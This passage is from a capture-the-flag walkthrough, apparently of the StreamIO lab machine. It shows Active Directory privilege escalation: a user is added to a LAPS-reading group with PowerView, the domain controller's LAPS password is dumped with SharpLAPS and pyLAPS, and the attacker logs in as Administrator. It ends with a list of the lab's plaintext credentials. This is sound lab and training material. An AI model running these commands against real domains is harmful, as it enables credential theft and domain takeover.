Once that we have generated files we can then execute Bloodhound and check for privilege escalation within the domain.

It is a good idea to always mark all the owned users not only as User Owned but also as High Value, some of the enumeration paths that BloodHound executes are only shown if thos marks are in place.

There is a special privilege found on JDgodd user which is ReadLAPSPassword as shown in the image below: Bloodhound-output

This permissions allows to dump credentials that were stored within the LAPS Windows feature, if you want to know more about LAPS, the how’s and why’s about this feature this is a good article from n00py

To do that, we need to first enumerate to which groups our user belongs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
*Evil-WinRM* PS C:\Users\nikk37\downloads> net user JDgodd
User name                    JDgodd
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            2/22/2022 2:56:42 AM
Password expires             Never
Password changeable          2/23/2022 2:56:42 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   5/1/2023 9:25:55 PM

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *Domain Users    
The command completed successfully.

Since the user does not belongs to the “CORE STAFF” group which is the one that has the privilege to read LAPS we need to include it into the group:

1
2
3
*Evil-WinRM* PS C:\Users\nikk37\downloads> Add-DomainObjectAcl -Credential $credObject -TargetIdentity 'CORE STAFF' -principalidentity 'streamio\\JDgodd'

*Evil-WinRM* PS C:\Users\nikk37\downloads> Add-DomainGroupMember -Identity 'CORE STAFF' -Members 'JDgodd' -Credential $credObject

Finally we can get the domain list users by executing the following Powershell module:

1
2
3
4
5
6
7
8
9
10
11
*Evil-WinRM* PS C:\Users\nikk37\downloads> Get-DomainGroupMember -Identity 'CORE STAFF'

GroupDomain             : streamIO.htb
GroupName               : CORE STAFF
GroupDistinguishedName  : CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb
MemberDomain            : streamIO.htb
MemberName              : JDgodd
MemberDistinguishedName : CN=JDgodd,CN=Users,DC=streamIO,DC=htb
MemberObjectClass       : user
MemberSID               : S-1-5-21-1470860369-1569627196-4264678630-1104

And if everything goes as planned, we can execute any of the following options:

Option 1: We can execute SharpLAPS.exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.\SharpLAPS.exe /user:streamio.htb\JDgodd /pass:JDg0dd1s@d0p3cr3@t0r /host:127.0.0.1

   _____ __                     __    ___    ____  _____
  / ___// /_  ____ __________  / /   /   |  / __ \/ ___/
  \__ \/ __ \/ __ `/ ___/ __ \/ /   / /| | / /_/ /\__ \
 ___/ / / / / /_/ / /  / /_/ / /___/ ___ |/ ____/___/ /
/____/_/ /_/\__,_/_/  / .___/_____/_/  |_/_/    /____/
                     /_/

[+] Using the following credentials
Host: LDAP://127.0.0.1:389
User: streamio.htb\JDgodd
Pass: JDg0dd1s@d0p3cr3@t0r

[+] Extracting LAPS password from LDAP
Machine  : DC$
Password : #23Qk0i0AkCv2u

Option 2: We can Abuse of python utility pyLAPS.py

1
2
3
python3 laps.py -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' -d streamio.htb
LAPS Dumper - Running at 05-01-2023 23:10:49
DC #23Qk0i0AkCv2u

Then we can use this credentials to login as Administrator into the DC:

1
2
evil-winrm -i 10.10.11.158 -u Administrator -p '#23Qk0i0AkCv2u' 
*Evil-WinRM* PS C:\Users\Administrator\Documents>

Credentials

1
2
3
4
5
yoshihide:66boysandgirls..
db_user:B1@hx31234567890
nikk37:get_dem_girls2@yahoo.com
JDgodd:JDg0dd1s@d0p3cr3@t0r
Administrator:#23Qk0i0AkCv2u (This might vary, since it's generated randomly)

References:

Offensive Security’s Exploit Database Archive reverse shell windows https://deephacking.tech/reverse-shells-en-windows/ Release v1.7.7 · jpillora/chisel firepwd.py SharpHound.ps1 PowerSploit/PowerView.ps1 Powershell powerview commands LAPS explanation

  1. MSSQL SQL Injection UNION SELECT 

  2. Invoke-PowerShellTCP.ps1 

  3. Firefox Cached Passwords recovery with firepwd.py 

  4. Bloodhound Python (Requires credentials) 

  5. Sharphound Enumeration (Within the machine user’s session)